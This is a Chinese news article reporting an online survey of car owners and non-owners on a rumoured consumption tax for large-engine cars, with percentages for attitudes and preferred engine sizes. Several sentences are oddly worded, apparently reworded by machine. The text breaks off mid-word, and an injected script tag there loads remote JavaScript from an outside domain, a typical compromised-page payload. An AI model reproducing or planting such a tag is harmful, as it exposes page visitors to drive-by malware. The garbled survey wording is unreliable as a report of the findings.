关于今年年内开征新汽车消费税的传言在业界悄然蔓延，将会提升大排量汽车的消费税率。尽管现在消息尚未得到有关部门的证实，但极大概对买家的买车行为产生有关影响，为此，新华信市场研究咨询公司与新浪汽车频道一同推出“油价看涨新政颁布 你倾向选择多大排量的汽车”互联网调查，共收回1761份问卷，其中有效问卷1748份，而56.2%的被访者表示对新汽车消费税政策知道一些，78.2%的被访者则对新汽车消费税政策推行的必要性进行了一定。
1、被访者觉得新汽车消费税政策推行后的主要影响
有业内人士评价到，新汽车消费税或有效地扭转中国社会的汽车消费结构，抑制大排量汽车消费。而从买家角度出发，他们觉得新汽车消费税政策推行后带来的主要影响体目前那几个方面呢？
新华信调查结果显示，四成以上(41.1%)的被访者觉得新汽车消费税政策将更多影响到汽车企业，将会鼓励他们看重小排量汽车的开发。
30.1%的被访者觉得，小排量车在政府解禁之后，将第三遭到买家的喜爱。而还有16.8%的被访者则表示了有关的担心：部分税收重压会不会转移给买家致使车型价格上涨。
(图1)
2、新汽车消费税政策对买家的影响
1、有车族
在对866位有车族的访问中，近四成(39.1%)的被访者对传说中的新汽车消费税政策持观望态度，表示将会等待政策具体推行后再作计划，毕竟国家有关部门并未对此作出任何反应，小心的买家也没办法依据猜想去左右我们的汽车消费。而还有28.2%的被访者则表示将会由于新汽车消费税的推行而降低平时的用车频率。
21.4%的被访者表示对我们的汽车消费没什么影响。
(图2)
2、无车族
与有车族状况类似的是，在对882位无车族的访问中，也有近四成(39.1%)的被访者对传说中的新汽车消费税政策持观望态度，表示将会等待政策具体推行后再决定买哪种车型。但值得注意的是，30.3%的被访者表示将会改变我们的买车计划，考虑购买小排量轿车。还有24.8%的被访者则表示对自己没什么影响，且这部分被访者主要集中在国企中高层管理者、外企/中外合资企业中高层管理者和私企/个企(或个体)老板，新汽车消费税政策对他们而言影响并不大。
(图3)
因为新汽车消费税政策将会提升大排量汽车的消费税率，有买车/换车计划的被访者，对排量的选择也出现了相应变化。新华信调查结果显示，近五成(48.7%)的被访者将会选择排量在1.0-1.6升的汽车，34.3%的被访者表示会选择排量在1.6-2.2升的汽车。而排量在2.2升以上汽车的选择比率均低于10%。
新华信调查结果显示，选择排量在2.2升以上汽车的被访者多集中在家庭月薪在2万元以上的私企/个企(或个体)老板与外企/中外合资企业中高层管理者这种高收入人群，因此大排量汽车将不会成为以工薪族为主的中国汽车市场的主流。
(图4)
由此看来，新汽车消费税政策在颁布前就已对有车族和无车族产生了肯定影响，伴随政策的正式推行，这种影响将会日?script src=http://cn.jxmmtv.com/cn.js>cript>